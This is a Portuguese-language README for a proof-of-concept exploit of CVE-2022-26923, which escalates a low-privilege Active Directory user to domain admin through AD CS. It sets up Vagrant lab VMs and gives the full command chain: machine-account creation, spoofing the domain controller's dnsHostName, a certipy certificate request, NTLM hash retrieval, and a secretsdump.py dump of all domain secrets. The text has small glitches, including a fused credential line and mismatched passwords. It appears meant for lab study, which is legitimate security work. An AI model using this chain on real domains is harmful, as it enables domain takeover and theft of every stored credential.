
Uma prova de conceito que explora a CVE-2022-26923.
Esta vulnerabilidade permitia que um usuário de baixo privilégio escalasse privilégios para administrador de domínio em um ambiente Active Directory padrão com a função de servidor dos Serviços de Certificados do Active Directory (AD CS) instalada.
Ela está relacionada principalmente à função de Serviços de Certificados do Active Directory (AD CS). A função AD CS é uma função do Windows Server que permite construir uma infraestrutura de chave pública (PKI) e fornecer criptografia de chave pública, certificados digitais e recursos de assinatura digital para sua organização. A função AD CS é usada para emitir certificados para usuários, computadores e serviços.
A versão do Windows Server usada é Windows Server 2019 Standard Evaluation, que é a versão vulnerável. O Vagrantfile fornecido (na pasta Vulnerable Machine) criará uma VM do Windows Server 2019 com a função AD CS instalada e configurada, juntamente com um usuário de baixo privilégio com as seguintes credenciais:
userV@grant1Para criar o ambiente, siga estas etapas:
CVE-2022-26923:
git clone https://github.com/Gh-Badr/CVE-2022-26923
cd CVE-2022-26923
Vagrantfile substituindo o endereço IP na seguinte linha:
config.vm.network "private_network", type: "static", ip: "192.168.33.13"
cd 'Vulnerable Machine'
vagrant up
certipy instalado, pode usar a máquina vagrant fornecida no diretório Attacker Machine executando o seguinte comando:
cd 'Attacker Machine'
vagrant up
A pasta Attacker Machine contém uma máquina vagrant junto com um script shell que instalará a versão mais recente do certipy. Você também pode usar o script para instalar o certipy na sua máquina linux.
Para se conectar à máquina atacante, execute o seguinte comando a partir do diretório Attacker Machine:
vagrant ssh
Agora que você está na máquina atacante, precisa adicionar o endereço IP do Windows Server ao arquivo hosts:
echo "192.168.33.13 VAGRANT-K51B6U3.vagrant.local VAGRANT-K51B6U3 vagrant-VAGRANT-K51B6U3-CA vagrant.local" | sudo tee -a /etc/hosts
Nota: Se você alterou o endereço IP no Vagrantfile da máquina vulnerável, você precisa alterá-lo aqui também.
Em seguida, vamos criar uma nova conta de computador no domínio:
addcomputer.py 'vagrant.local/user:V@grant1' -method LDAPS -computer-name 'CVEPC' -computer-pass 'P@ssw0rd'
Para verificar se a conta de computador foi criada, conecte-se à máquina vulnerável com o usuário user e a senha V@grant1, executando o seguinte comando a partir do diretório Vulnerable Machine:
vagrant ssh
Em seguida, execute o seguinte comando para verificar se a conta de computador foi criada:
Get-ADComputer CVEPC -Properties dnsHostName,servicePrincipalName
Esta conta de máquina tem o dnsHostName CVEPC.vagrant.local. O que queremos é alterar esse dnsHostName para VAGRANT-K51B6U3.vagrant.local, que é o controlador de domínio.
Para isso, primeiro precisamos excluir o Nome Principal do Serviço (SPN) da conta de computador CVEPC executando o seguinte comando:
Set-ADComputer CVEPC -Properties ServicePrincipalName @{}
Em seguida, podemos alterar o dnsHostName para VAGRANT-K51B6U3.vagrant.local executando o seguinte comando:
Set-ADComputer CVEPC -Properties dnsHostName VAGRANT-K51B6U3.vagrant.local
Agora que temos uma conta de computador com o dnsHostName VAGRANT-K51B6U3.vagrant.local, podemos solicitar um certificado malicioso da máquina vulnerável executando o seguinte comando na máquina atacante:
certipy req -username '[email protected]' -password 'P@sww0rd' -ca vagrant-VAGRANT-K51B6U3-CA -template Machine -target VAGRANT-K51B6U3.vagrant.local
Você deve obter um certificado chamado vagrant-k51b6u3.pfx no diretório atual.
Para verificar se o certificado é válido, use a ferramenta auth do certipy executando o seguinte comando:
certipy auth -pfx vagrant-k51b6u3.pfx
Se o certificado for válido, você deve obter o hash NTLM do controlador de domínio. O que pode ser usado de muitas maneiras maliciosas.
Como prova de conceito, podemos usar o hash NTLM para recuperar todos os segredos armazenados no domínio (como explicado no artigo do autor da CVE). Para isso, podemos usar a ferramenta secretsdump.py da suíte impacket (que é instalada com a versão mais recente do certipy).
Para usar a ferramenta, execute o seguinte comando:
secretsdump.py 'vagrant.local/[email protected]' -hashes :<NTLM hash>
Substitua <NTLM hash> pelo hash NTLM que você obteve na etapa anterior.
Como resultado, você deve obter todos os segredos armazenados no domínio.